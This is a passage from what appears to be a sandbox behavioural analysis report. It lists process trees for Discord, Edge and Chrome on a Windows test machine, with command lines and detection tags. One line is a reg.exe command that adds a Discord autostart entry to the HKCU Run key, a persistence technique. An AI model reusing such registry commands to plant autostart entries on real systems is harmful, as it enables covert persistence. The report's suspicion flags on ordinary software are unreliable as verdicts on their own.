        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3956 /prefetch:8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2456
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discordapp.com/handoff?rpc=6463&key=f4fc0279-7a2a-4d77-8359-bb3f9dab75d4
        6⤵
        Adds Run key to start application
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:5460
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xf8,0x108,0x7ffae2df46f8,0x7ffae2df4708,0x7ffae2df4718
        7⤵
        
        PID:5484
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,9538389921678675469,13321943611602887722,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
        7⤵
        
        PID:5680
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,9538389921678675469,13321943611602887722,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 /prefetch:3
        7⤵
        
        PID:5704
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,9538389921678675469,13321943611602887722,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3112 /prefetch:8
        7⤵
        
        PID:5872
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,9538389921678675469,13321943611602887722,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
        7⤵
        
        PID:6040
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,9538389921678675469,13321943611602887722,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3844 /prefetch:1
        7⤵
        
        PID:6064
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,9538389921678675469,13321943611602887722,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5028 /prefetch:1
        7⤵
        
        PID:6120
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2140,9538389921678675469,13321943611602887722,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5112 /prefetch:8
        7⤵
        
        PID:5176
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2140,9538389921678675469,13321943611602887722,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5032 /prefetch:8
        7⤵
        
        PID:4452
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2140,9538389921678675469,13321943611602887722,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5264 /prefetch:8
        7⤵
        
        PID:2980
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=gpu-process --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=764 /prefetch:2
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5800
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --enable-sandbox --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3908 /prefetch:1 --enable-node-leakage-in-renderers
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:3780
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --enable-sandbox --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4156 /prefetch:1 --enable-node-leakage-in-renderers
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:5952
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --enable-sandbox --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2956 /prefetch:1 --enable-node-leakage-in-renderers
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:2868
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --enable-sandbox --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1592 /prefetch:1 --enable-node-leakage-in-renderers
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:5228
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --enable-sandbox --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:1 --enable-node-leakage-in-renderers
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:4884
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --enable-sandbox --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4692 /prefetch:1 --enable-node-leakage-in-renderers
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:6020
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord
        6⤵
        Modifies registry key
        
        PID:3392
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "C:\Users\Admin\AppData\Local\Discord\Update.exe --processStart Discord.exe" /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:5508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5676 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2488 /prefetch:8
    3⤵
    PID:2168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=6412 /prefetch:2
    3⤵
    PID:1980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6156 /prefetch:8
    3⤵
    PID:5200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4672 /prefetch:8
    3⤵
    PID:6096
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2356 /prefetch:8
    3⤵
    PID:5848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4868 /prefetch:8
    3⤵
    PID:5488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4536 /prefetch:1
    3⤵
    PID:5628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1548 /prefetch:1
    3⤵
    PID:4624
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6340 /prefetch:8
    3⤵
    PID:2244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6684 /prefetch:8
    3⤵
    PID:3992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2600 /prefetch:8
    3⤵
    PID:3720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=812 /prefetch:8
    3⤵
    PID:432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2640 /prefetch:8
    3⤵
    PID:3404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5964 /prefetch:8
    3⤵
    PID:1548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6400 /prefetch:8
    3⤵
    PID:5428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6036 /prefetch:8
    3⤵
    PID:5144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6684 /prefetch:8
    3⤵
    PID:1660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5824 /prefetch:8
    3⤵
    PID:5408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5752 /prefetch:8
    3⤵
    PID:4028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6780 /prefetch:8
    3⤵
    PID:4232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2628 /prefetch:8
    3⤵
    PID:5348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5428 /prefetch:8
    3⤵
    PID:3148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4300 /prefetch:1
    3⤵
    PID:5000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6580 /prefetch:8
    3⤵
    PID:1484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2748 /prefetch:8
    3⤵
    PID:2208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4828 /prefetch:8
    3⤵
    PID:5900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3028 /prefetch:8
    3⤵
    PID:3772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=908 /prefetch:8
    3⤵
    PID:5792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6356 /prefetch:8
    3⤵
    PID:2208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5744 /prefetch:8
    3⤵
    PID:5932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6716 /prefetch:8
    3⤵
    PID:4952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3636 /prefetch:8
    3⤵
    PID:3236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3212 /prefetch:8
    3⤵
    PID:5384
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4868 /prefetch:8
    3⤵
    PID:3252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5696 /prefetch:8
    3⤵
    PID:1292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6236 /prefetch:8
    3⤵
    PID:2708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6204 /prefetch:8
    3⤵
    PID:4388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2300 /prefetch:1
    3⤵
    PID:3468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=212 /prefetch:1
    3⤵
    PID:1488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3636 /prefetch:8
    3⤵
    PID:2716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4972 /prefetch:8
    3⤵
    PID:4416
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2792 /prefetch:8
    3⤵
    PID:5472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4956 /prefetch:8
    3⤵
    PID:5460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6824 /prefetch:8
    3⤵
